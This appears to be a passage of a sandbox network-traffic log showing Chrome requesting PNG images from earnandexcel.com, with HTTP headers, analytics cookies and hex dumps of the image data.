1a 8f e3 61 b4 44 02 99 6c 57 01 d3 3a 56 1a 9a f3 2c 40 03 40 d4 89 0f 28 44 58 36 80 00 b7 0d db c4 aa e0 55 83 62 42 69 68 7e b3 00 86 08 d0 ac ad ad 1d 70 d7 a6 a7 Data Ascii: PNGIHDRWALaIDATxK[${#!""bGPD\|+v# "\|`+7&#6gsguf%VVVhooo}}6660xOZ:SaD'cpm:VLrLponnaDlW:V,@@(DX6UbBih~p
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f0 c8 c8 08 59 5b 5b b3 65 79 f7 ee 1d b9 ba ba 62 1b ac 86 bc 1f e7 83 eb c5 70 79 7b 7b d3 b3 67 cf e8 e9 d3 a7 64 67 67 47 6d 6d 6d 24 9a 99 99 21 2d 73 48 43 73 4a 68 c4 ed 52 05 10 16 16 16 18 00 19 1d 1d 1d 0c c0 87 0f 1f 28 33 33 93 e4 38 11 80 13 08 b1 3c 30 30 40 21 21 21 f4 eb d7 2f b6 4c 81 81 81 d4 df df 8f dd da 35 33 91 34 34 a7 83 46 b5 2a 80 e3 c8 5a 0d dc af 4f 9f 3e 51 49 49 09 e2 9c 43 3f 47 96 8d 09 83 d8 d8 58 ba 71 e3 06 03 97 9c 9c 2c fb b5 bb 66 12 69 68 4e 6f 69 18 08 09 ce a5 b6 22 5a 5d 5d 25 11 e2 16 4f 4f 4f 92 6d 4b 4b 4b 02 94 11 18 a4 a5 31 04 40 24 0e 38 c6 b9 75 eb 16 f9 f8 f8 d0 fc fc 3c 69 99 47 1a 9a ff e9 9e 89 6b 85 9a 8c 6a 75 2a 2b 2b 29 2f 2f ef a8 cf 39 d2 52 2d 2f 2f 53 64 64 24 2c 0d c3 d3 dd dd 4d 5a e6 91 86 Data Ascii: Y[[eybpy{{gdggGmmm$!-sHCsJhR(338<00@!!!/L5344FZO>QIIC?GXq,fihNoi"Z]]%OOOmKKK1@$8u<iGkju++)//9R-//Sdd$,MZ
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e6 7f cb 2a 98 9a 2f cd d3 f7 d9 8f 84 4b 82 a5 63 1a 97 09 9a ff 52 59 24 58 93 d9 f7 98 f3 e4 9a 66 4a 2f 5a c3 66 a3 45 bd 05 3d 6f 57 51 02 5c ca 3c 64 22 93 9f 7a ea 29 60 52 cf 0c cd b9 76 ca d9 4c 92 1b 96 c9 a0 bd 56 a6 8f 29 bd 66 d2 c3 2d 30 5f d7 b4 8b f9 03 62 fd 08 38 ff 29 47 c8 6d 83 66 0e 74 2d b7 65 3f 9f ca 3c 39 d6 30 c7 99 66 35 cd 30 47 bb f4 4a 93 d8 f5 fe 5f f7 54 7e f8 e1 87 7f 3e f8 e0 03 a1 2e d6 38 62 cd 2c ee a5 63 72 5c 99 b7 2c c0 e4 32 4e 32 1f d3 36 fd 1e b0 7d 9e eb b3 ff 44 18 8d 71 75 a4 21 46 5f 04 d3 e6 fc 47 e7 34 c5 ac 67 96 ac 8b ae 9f da 68 a6 f6 bd 48 d0 24 39 86 3d ea b3 81 df d4 bc 50 ff a9 df b6 fa 76 34 5d 6c 65 46 24 ab 73 26 d1 c8 84 b3 51 29 0f 80 85 fc ef bf ff 2e a8 73 4d bd 14 53 1c 5d 53 29 ff 52 b0 dc Data Ascii: */KcRY$XfJ/ZfE=oWQ\<d"z)`RvLV)f-0_b8)Gmft-e?<90f50GJ_T~>.8b,cr\,2N26}Dqu!F_G4ghH$9=Pv4]leF$s&Q).sMS]S)R
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 53 f4 c2 44 da c5 38 ae 07 c2 8e 61 bb 86 89 44 eb aa 03 8d ad 4f 00 48 fb d6 14 0a 66 67 fa 3c f2 c8 23 68 87 8e 99 90 9e 64 20 66 ce 38 7a 6c 48 34 a4 39 cd 0f c1 e1 7a 11 13 93 d1 ad 77 f4 2f f3 d9 3b a0 39 cd ba f2 cb 04 4b c2 a6 f6 12 58 40 8b be 78 21 73 df 67 6b a8 ee bb 4c d0 2c 52 1c b3 63 c4 a4 2a 82 19 28 bb 79 75 2f e6 bd 3a b9 60 37 29 85 e5 97 1e a9 75 04 d0 98 14 0c 88 81 f2 c2 d4 46 de 98 09 1a f5 f6 62 86 d1 68 26 45 bd 49 f4 d6 19 eb fd 79 95 48 60 52 56 c2 72 d7 93 f4 fa 62 b1 5a bb 95 f2 31 63 6e fd 24 40 5c eb 7e 52 db 82 b6 fa d1 87 00 61 e2 28 b5 3f cd 4a 7d a6 1d b5 6b fc ea a2 25 1c c5 ee fa e9 ae b5 78 07 f6 7e c7 f4 4c 5f da c0 a1 b7 d5 c4 35 2f b3 cc e8 0b 52 9e a9 67 ef 6a cd 7b d0 5a 24 f3 d2 78 d3 3a 84 5f 1e b8 19 c1 dd bc Data Ascii: SD8aDOHfg<#hd f8zlH49zw/;9KX@x!sgkL,Rc*(yu/:`7)uFbh&EIyH`RVrbZ1cn$@\~Ra(?J}k%x~L_5/Rgj{Z$x:_
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e7 d7 5e 7b cd 6e bb 09 62 1a 60 d0 7d 9f e6 e6 a0 99 4f 62 9b 61 2a 1e 11 22 28 d2 58 38 08 d0 03 1d cc 57 c7 0d 3a 48 e7 18 81 b9 2a a8 34 c6 5d eb e6 ba 36 ff 68 ea 5e f5 ee a0 b9 0e 68 0c f6 93 4f 3e 11 2f 54 10 26 06 2c e4 45 62 0a a6 03 26 b2 ee 11 3c c8 3d ba 83 e6 76 41 73 6c 0f 46 e0 a5 e3 07 98 91 d6 e1 10 00 18 0e 02 63 34 5e 6d a1 0f a1 46 fb 08 8b 02 ba 99 96 ca 39 9d a2 dc f1 c0 0e 9a 6b 82 46 7c 17 d0 9c 93 7d 05 58 c4 51 99 90 dd e5 7c bb e6 d9 cc 2d 56 84 f9 1a 0d ed 78 00 b0 58 ef 64 66 59 f3 14 9e 8f d6 8e 20 03 8f b3 53 dd df 98 81 86 c6 32 ff ae df cd b3 6b 82 c6 c2 5f 44 c0 cc 66 89 09 cb 3a 42 0b ad 27 1e 49 c3 1d 34 b7 bb 4f d3 7f b3 44 e7 8a 28 6f 5e 4c f5 8b 02 a7 59 bc ac 7f ac 79 98 d5 4c 35 b4 e7 50 58 cf fd 38 84 a6 7f fa 54 Data Ascii: ^{nb`}Oba"(X8W:H4]6h^hO>/T&,Eb&<=vAslFc4^mF9kF\|}XQ\|-VxXdfY S2k_Df:B'I4OD(o^LYyL5PX8T
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 72 76 1c 75 1d 33 6d d0 08 33 b7 c7 e2 b8 06 4d 42 83 4b a0 2e af b4 ef 1d 8b 2e c3 25 f0 bb 17 43 1b 13 9a 35 ce f9 20 60 6d 31 b1 d0 38 e0 00 80 fe aa 13 10 ac 1f d5 21 48 d4 29 51 47 14 ca fa 89 56 ad 35 1f 7e f8 61 4e 1b 80 ba 8a 37 2e 13 34 4b 62 6c 13 80 29 4c ac 01 93 4a a4 8b 48 59 f6 f4 74 31 9e e3 3a 9c 12 30 e0 d9 13 70 4c da 04 98 4c c4 5e 9f 19 e3 3b 86 d6 7e 0f 3c 22 61 b3 c5 49 3e cc e0 31 19 33 d4 64 b4 bd a9 69 48 fa 39 81 4c 1b f6 3d d3 2f b7 a9 fb 7c 46 1b ee 5b 2e f2 4d d0 24 91 81 5f 1d 98 d0 78 db ec 23 94 04 58 7a 3a 5c 25 26 ee 55 f1 e8 0f 73 41 d3 f6 20 ab 9e 3f d3 79 1a fd 35 7f d1 b3 a8 0e a7 6a fd fe e6 9b 6f 7a b2 00 01 11 50 8f 09 19 a6 16 70 ab 47 fd 99 d4 00 a9 5d 1a ac c7 ad e4 5c d0 af e6 0f 7d 2d fc 81 bd f6 1a df 65 ef Data Ascii: rvu3m3MBK..%C5 `m18!H)QGV5~aN7.4Kbl)LJHYt1:0pLL^;~<"aI>13diH9L=/\|F[.M$_x#Xz:\%&UsA ?y5jozPpG]\}-e
2024-04-11 21:26:50 UTC	13	IN	Data Raw: 29 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: )IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.17	49917	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1247	OUT	GET /wp-content/uploads/james.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	902	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 160327 Connection: close CF-Ray: 872e0ea2ba5f19e7-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff5f3-27247" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:30:27 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WHKGQTDkrYEj8VIBSf8qLnF3Zc8w6gjzPzOWSHg2yDy1MItM0ZcwSLGGz8rtewrLMXgfhteOfO66XZvXPp%2BPbbOoxOuVjiHskKcsWl4eBRRZ8zs5suJPE9GVuqKyBLT4yWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	467	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 03 44 08 03 00 00 00 65 d2 0c b1 00 00 03 00 50 4c 54 45 fe ff fe 00 00 01 f8 fc fb 53 0f 0f 64 12 13 4b 0e 0e 5b 10 10 6b 13 14 45 0d 0d fd fe f7 74 15 16 3d 0b 0b 7c 16 17 f8 fb f5 84 18 1a f1 f6 ef 36 0a 0b 0b 02 03 2e 09 09 fd fd f2 ef f3 e9 26 07 08 8b 1a 1c 1d 04 06 f4 f8 f8 15 03 04 f9 f6 f0 e5 b1 98 f9 fb ec b7 65 34 ea ba a4 e7 b6 9e ef f3 e1 9a 1d 24 92 1a 1d c3 75 4a c0 71 43 e1 ab 91 ac 54 23 e6 f0 e1 68 15 1e d4 94 75 ba 6b 3c f4 f8 e4 e1 ee d6 f9 f2 ea 8f 1e 28 ee f6 d7 db a0 83 dd a5 8b d9 9b 7a b0 5d 2e cc 89 6f ca 80 58 b4 6f 5a 8c 3b 25 e3 a8 75 f8 e9 de 99 21 31 cb 83 61 ed c1 a8 ef ec db 0a 0d 13 5c 13 1d f8 ed e4 7b 21 1b c9 9c 94 c7 7a 51 c2 92 8d cf 98 83 da ee cb 95 Data Ascii: PNGIHDRDePLTESdK[kEt=\|6.&e4$uJqCT#huk<(z].oXoZ;%u!1a\{!zQ
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 7d 3c 35 f5 e3 d7 a8 93 90 82 47 42 9a 63 72 57 28 15 d2 e5 c8 a3 83 63 ae 8e 6f 49 2d 22 b4 7a 66 a7 39 46 a1 6d 82 73 45 1d 56 0f 2e 47 20 12 2e 09 1d e4 cb c5 ac 48 54 97 34 3e d5 ba bc 70 47 3f e6 dd c6 b6 8f 9a a0 85 81 cc ea a3 c2 9d a2 60 2c 28 6f 31 32 60 3a 18 b4 59 62 a9 74 6a 72 1b 30 8e 6a 45 98 76 54 8b 54 4a 86 6a 64 b0 98 7c 62 15 2a 88 4f 5f ab 7e 90 e3 d0 d5 94 77 73 78 57 4e 82 5c 39 d5 ec 66 b4 a0 99 c2 e7 8d c2 a4 b1 b8 55 2c bc c0 ba f1 d9 c8 dd d4 b8 23 30 3f d8 c0 cf d4 df e2 82 37 57 37 26 0d 82 20 3d 34 2a 29 c8 ae 89 97 45 57 da cb a7 91 d9 75 c4 b0 c7 df e9 f3 21 20 19 89 88 83 b2 69 71 d2 be 97 dd d1 e5 c8 cc d9 40 0a 34 5e 5b 33 c5 af a4 c0 70 7c 87 86 61 7b 30 46 0e 20 2d 69 17 42 45 47 27 97 49 73 aa ae b9 4c 38 38 3c 59 6a Data Ascii: }<5GBcrW(coI-"zf9FmsEV.G .HT4>pG?`,(o12`:Ybtjr0jEvTTJjd\|bO_~wsxWN\9fU,#0?7W7& =4)EWu! iq@4^[3p\|a{0F -iBEG'IsL88<Yj
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 54 c2 ee f0 40 f2 f8 fe e1 7b d0 0b 78 59 f0 0d b9 d2 8c d1 4d a9 15 5e 80 fb 8e 47 2d e9 2c 76 de 9d f4 26 d6 ab ce bb a6 46 e3 cd 9a b5 6c 6a 35 f8 c5 b2 13 ac 97 64 54 1a 8c 68 3b b9 0d 4a ae eb b6 1c 24 9f f7 09 74 67 6a bc e3 7a 7a b1 bc 10 15 a9 4b d9 8a 8c 09 96 ef 6f c7 16 ba 95 35 48 51 f6 fa 73 cd 79 71 24 2a f0 0a 95 7c 35 a4 4f b9 c1 3b a3 a6 be 7b 1c e0 cd d1 6f 33 f1 92 e8 7a 75 07 0d ab 66 a0 c7 7b 73 03 d9 f5 70 e7 dd 61 a8 20 37 51 36 d8 7b 1f 1f 03 bc f3 62 26 bd 36 1a a8 21 f0 6e c3 bb ba 3d 79 77 cb 08 af c8 85 cf a6 b1 f3 ba 9c e9 6d a2 82 99 81 1b 95 ca d6 a0 97 c4 63 58 2f d4 63 77 d3 59 6f 1e f1 68 a6 14 d1 e0 f2 14 e1 d8 7e 21 43 77 3f bb 36 97 a5 86 d3 ef 19 dc 69 80 17 f3 e8 76 24 12 dc 18 08 bf dd 8b 64 36 53 df 45 75 25 ef 94 Data Ascii: T@{xYM^G-,v&Flj5dTh;J$tgjzzKo5HQsyq$*\|5O;{o3zuf{spa 7Q6{b&6!n=ywmcX/cwYoh~!Cw?6iv$d6SEu%
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ac b4 b7 86 57 a3 3c b1 5e a6 97 d9 3d 7e 89 f3 6a b1 c1 ed 79 b4 41 e0 a5 1e db 40 c2 d2 52 99 30 6b ca 06 df 21 be 7a 7b f5 d5 fd 23 55 1c ec 2e 5b 99 7b 75 5e 9a 04 7a 49 91 f5 ae ce 97 02 2f 14 a7 86 ae da 70 c2 f4 9a 56 c6 6e 5d 1f 35 d3 05 eb 92 d8 3d 2a f8 90 28 bd 82 af 2a 5c 27 63 98 9c 0a 58 19 bc 26 a0 2b eb 94 88 a9 25 b7 43 59 57 8c 37 92 58 6f 33 27 f3 e5 5d 34 2b 0f ad 04 99 97 83 03 b1 0b 6c c7 7d 74 43 8c 0f f8 ea 10 21 69 67 aa 06 a3 6e 41 33 de d4 7a 95 dd 0f 74 5e d7 c5 06 49 0d a9 bc d7 c8 bb 98 a2 c3 f6 da d4 eb 32 a9 ed a2 e9 e8 15 85 de df df 5e dd 10 bd 12 1c e6 21 38 60 97 cc a8 93 4d 0d 6a 82 f5 ea 23 ba 0a af e5 4f 09 a0 49 9d 37 3c 09 09 d7 e5 a1 25 78 d1 3b a3 5d 42 e8 52 5b 10 bb 3e cf 53 7a 83 f7 4a a2 75 41 b1 43 c1 78 91 Data Ascii: W<^=~jyA@R0k!z{#U.[{u^zI/pVn]5=(\'cX&+%CYW7Xo3']4+l}tC!ignA3zt^I2^!8`Mj#OI7<%x;]BR[>SzJuACx
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e7 0f 40 57 ce 92 dd 43 3a 6c f7 06 ef af 46 af ae da 04 5f 30 0b df 85 f1 9e 2b 53 0c bd 06 24 4a b0 d0 52 76 90 fd 82 6a e7 8f 48 db c3 30 de ad b1 ab e8 12 de de d8 0d 78 71 12 5e b7 de 05 c6 5b 39 6f 28 d9 b5 95 91 0f 75 3b bb 5e a3 2a 78 0c c3 ed 0a 7a dd 78 c7 71 96 d0 3c 8d 61 84 ae 16 5e 72 5b 4d 5b 08 bb b1 05 83 81 84 22 97 56 43 a0 ef 52 53 3f a5 b8 16 a5 9a ff 66 27 ec ee 9c 5c c6 86 b1 ae 5b b4 89 77 63 b6 3a d4 ed b5 b6 3f 2c 12 e3 25 bc ab e5 a5 32 5f b1 91 dd 1e 95 b2 35 ba 7f 36 78 41 ef 27 9d 72 40 f2 fd 4e c8 fd a0 08 c3 79 97 73 b7 de 6b d2 2b 54 81 14 8d 0c 7b a3 f7 da ad 17 c3 e7 7e 40 80 57 74 ad 8b a9 61 1a 66 b0 eb f4 0e 11 24 8e 8f 01 9f 27 81 22 f4 ee 99 09 dc 79 c9 00 6b ff db 78 a7 d1 63 e9 93 de 61 4a f3 62 19 d5 9f f8 dc 81 Data Ascii: @WC:lF_0+S$JRvjH0xq^[9o(u;^*xzxq<a^r[M["VCRS?f'\[wc:?,%2_56xA'r@Nysk+T{~@Wtaf$'"ykxcaJb
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 34 36 b1 25 bc 7d d1 ab 32 c5 8e 5b b5 7c 76 95 0b 7a 05 57 6f a9 e9 89 03 0c 83 5d 15 f0 1d e1 bc 70 cc d2 79 3b 93 61 99 99 17 70 44 c8 ab f1 d5 13 f0 8a 60 bc 64 17 f0 0e 72 72 b1 c6 c9 50 7c bc 15 42 64 00 bb 68 d6 70 f7 a5 3d 70 b6 c1 c9 c5 bc b7 a9 9c ca 19 00 ef db 7b 49 bb 80 77 58 e3 bc 2d 8e 36 12 89 82 43 d5 62 03 ba 2b f4 fc 7c 2f ce 8b d4 6b d6 cb d8 eb f4 e2 01 e5 b2 12 5e 2e d9 b0 8c 82 5a df 95 f3 1f 79 64 6e 10 7d 75 7d 05 91 de 3b 67 57 4b 68 06 af 0d 32 c4 66 8a d2 76 8b d0 d0 c0 0b f5 cd 38 3a 3a 6f 60 c5 71 9e bd ab e4 f3 40 0e af b1 6b e8 ea 38 18 7e 0f 24 87 1c de c2 a4 dd ae 30 35 de 15 16 da d0 79 8b 26 74 f9 ef d9 4e 9f 59 e7 4d 7c 39 ab 41 78 a3 45 0e 31 f7 0b bb 2c ae 4c 98 e6 0d b9 f3 e6 a2 12 2f 10 65 bc 88 0d 51 29 1b 76 43 Data Ascii: 46%}2[\|vzWo]py;apD`drrP\|Bdhp=p{IwX-6Cb+\|/k^.Zydn}u};gWKh2fv8::o`q@k8~$05y&tNYM\|9AxE1,L/eQ)vC
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: d4 b1 81 f5 86 0f a7 a7 0a 6f 6b 84 4d e6 dd b2 54 d6 dc c4 5d 57 a9 c6 6e ec 03 da ac 4b bc f9 68 a9 1b ce 9b e4 ea d3 7a e7 fd fd c7 e7 47 58 2f e9 7d 31 eb 05 bc a0 d7 77 10 27 bc 80 b4 c2 37 d9 75 80 c9 2f f1 55 31 f8 ea ff d1 ed e7 9f 8d 5e 0d 0f 22 5d b8 cd 98 ca d5 66 05 e1 6d 05 52 29 f7 a9 c5 be 34 74 ad e9 3c d3 a5 37 30 5e b0 db f3 56 eb 49 2f 8d aa d9 ad 0d 85 f3 e2 e9 28 e0 a5 82 8e cd 5b 35 cb ce 7f bd f8 b5 26 bf e1 b9 d0 4b 71 b8 b3 8e be 38 1d 5f 3d 78 47 0b c8 72 08 4b 65 80 b7 89 dd fe da b8 ef 9d b7 29 f3 6e 06 c9 45 af 7c f2 2d ad a2 cf 85 b7 42 97 d2 29 0b e0 1b e4 e2 79 9d f3 02 de df c5 79 ef 2d f4 86 f3 be 48 97 f8 15 bc cb 2b e7 b5 60 4b 28 99 18 80 2e d5 b0 0b e7 75 76 bf 07 bd 4e f0 8d 79 e5 80 99 49 51 c0 7b 21 47 99 01 9d 5e Data Ascii: okMT]WnKhzGX/}1w'7u/U1^"]fmR)4t<70^VI/([5&Kq8_=xGrKe)nE\|-B)yy-H+`K(.uvNyIQ{!G^
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3f 36 1b f7 fa 4d 08 37 74 3b dc 75 da 11 26 b8 3c ee 2d d7 e7 e5 aa 52 af 5b 51 3c 81 8e fe 50 73 de 34 5e c9 bc 83 31 f7 e0 9d 9b 65 6a b0 4b 62 a3 0f 8f 62 a3 7a 28 7e 6f c0 6e 14 1b da 5f c9 2a d1 d5 eb 01 d9 ad b4 5e e8 c0 f8 5e 3f 7f de d9 65 de 65 68 80 96 95 de 0f cc 79 65 fd bb cf 0f 27 bc c9 6f 86 5d 1e 7c 68 18 6f c2 cb d4 e0 62 6e 20 72 28 86 4f 76 c9 2e 8c 17 e8 3e fc 32 45 76 dd 78 23 ed 2a be 96 1c e4 e7 91 19 e0 e7 b3 b2 2c 4e d8 f5 24 4d 78 05 5a 65 d7 71 0d 76 5b 4b 80 48 53 0d f1 69 e0 8b 83 b7 58 f9 4d f9 66 e9 38 20 d0 17 e6 6b d6 27 23 5b 31 62 ea 4d b3 1b ee a3 4f ce 77 da 2b 9d 97 8d 39 21 df 0e ac 37 f2 92 de 4e cf 05 67 22 38 10 de 2e f1 ed b6 82 b7 e2 ad af f3 e6 d1 b2 d0 9b 4b df cf 79 5f 83 90 0b df 85 2e be fa e1 87 74 de 6f Data Ascii: ?6M7t;u&<-R[Q<Ps4^1ejKbbz(~on_^^?eehye'o]\|hobn r(Ov.>2Evx#,N$MxZeqv[KHSiXMf8 k'#[1bMOw+9!7Ng"8.Ky_.to
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 63 3b 44 f6 c6 11 de 89 12 5e 6a 66 02 9b dc cf 00 dd e3 84 37 23 2f e1 25 bb 40 37 54 ac ec 1b d2 44 7c 44 f0 75 78 0f 1f 7a 85 d9 62 83 69 3c 65 ba aa da 64 de c5 8f 3e 5a 5c 3c 7f 9d f8 3a c0 e0 d7 5b 1c e8 bd d6 18 39 07 e7 25 bc c8 0d fb 2b d1 05 b4 64 d7 d7 5f 3a bc e4 cd 7d 37 1a 73 86 86 40 2f 72 03 80 15 9d e1 bd 17 1a 84 5d 6a 4c 2b e8 76 ce 96 ce 0b 09 be 7c cf 59 a8 c7 78 ab de e6 6c 40 fb 9b ca 78 23 ba cd 53 38 0d b6 e2 b8 c7 85 d5 cb 0b 97 a1 1b 97 2f af 5c 96 97 7b 97 2f ef 5d de 13 01 60 88 04 27 c3 14 df 85 77 03 f2 56 12 79 31 46 45 64 d7 53 43 65 43 6b 71 da e3 35 52 ae 20 71 74 93 71 9f a5 d0 42 59 d2 0b 74 e1 39 60 77 a6 06 5f c5 5a 43 da ae 5d 9b 01 23 8b 65 bc f6 25 f1 3e 22 f7 84 f7 f0 e5 86 aa 59 6c 88 cc db c6 7a cf bf f9 d2 22 Data Ascii: c;D^jf7#/%@7TD\|Duxzbi<ed>Z\<:[9%+d_:}7s@/r]jL+v\|Yxl@x#S8/\{/]`'wVy1FEdSCeCkq5R qtqBYt9`w_ZC]#e%>"Ylz"
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: bc 19 7a 73 63 a7 bb c3 4b 74 c3 73 7d 2a 97 44 12 c5 7a a5 81 ec 52 2f 3a be e9 bb 80 d7 e6 1c 8e 8d 8f 99 15 8c 70 7d 4a 87 f0 a2 9a c3 df 8b a8 f3 02 72 78 2e be e1 13 09 ce ae 24 5c 33 5e 45 77 1b e8 92 dd cd 1d b2 5b 3f 5b 33 db 4d d3 25 b9 90 65 5c b3 dd 0d e8 e6 06 e9 0d df 4d 6f 85 eb e2 28 45 b8 f1 93 e2 df cb 97 a5 bc 32 34 0a 18 35 fe 79 e8 0d 6e 09 b4 ef 6b cd 91 b6 db bb 35 13 e1 85 c8 ae 88 ec 42 60 b7 6c 2a 13 46 09 af 87 86 e0 b7 8f d4 79 db 95 ca 14 c7 aa a4 d9 32 6f ee 13 59 34 37 84 77 b4 88 0d 90 e5 86 64 17 ce fb 94 c0 7b 31 9d 37 56 bf 2f f5 cb bd f4 5d 5b ad e3 4a 78 d9 32 93 6b d7 bc 8d 86 98 c6 e2 b3 87 f5 e7 96 24 52 f0 e7 01 e5 38 23 98 5e 45 5d 6a a4 43 f0 5e 77 de 9c 1d 96 13 bb 2e cf 34 b8 bd a1 fb ae 98 2d 73 ed 70 81 ae 19 Data Ascii: zscKts}DzR/:p}Jrx.$\3^Ew[?[3M%e\Mo(E245ynk5B`lFy2oY47wd{17V/][Jx2k$R8#^E]jC^w.4-sp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.17	49918	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1040	OUT	GET /wp-content/uploads/Screenshot-2021-06-25-at-8.27.35-PM.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 9684 Connection: close CF-Ray: 872e0ea2bbee4402-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3305-25d4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:45 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2S0SYw4oRZfnXia9kg3%2FXsA6Xcg0SBV4Ikrtve%2BEYPLy1X9yLiKSQmtN0p%2F63PmVsEjF4M9ELS2HoLlaU3rzHuEpbnLQjp4VilVOjenaF7IUxLYn6ZSo%2BT6WUDWe8ZTpBkE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5f 08 06 00 00 00 4b 12 43 21 00 00 25 9b 49 44 41 54 78 da ec 9b 07 6b 56 4b 10 86 fd 4b 56 14 44 51 b1 2b f6 de bb c6 de 0b 28 d8 15 54 ec 0a 2a f6 86 bd 82 62 47 45 b1 8b 25 a4 f7 de 7b 9f cb 33 30 dc e5 7c 27 b9 f7 1a 42 2e 64 07 96 53 77 cf 17 98 67 df 99 d9 4d 3b f1 d6 a8 35 34 34 b8 e7 da b0 ea ea 6a a9 ad ad d5 56 53 53 23 75 75 75 f6 8e 5e bb 56 5f 5f af ad 31 b3 31 38 f2 9e 8d c3 98 76 ed de e3 c8 bb 66 ee 77 2b 2b 2b b5 79 6b 59 6b 27 de 1a 05 a6 aa aa aa 49 87 c7 ca cb cb b5 b9 56 51 51 41 5f 03 81 66 4e cd bb 3c e7 9c 77 5c 60 0c 4a 83 30 68 dc a7 1f ef 86 82 e9 4d c4 43 d3 4a 86 03 9a 92 e0 c8 41 98 0a 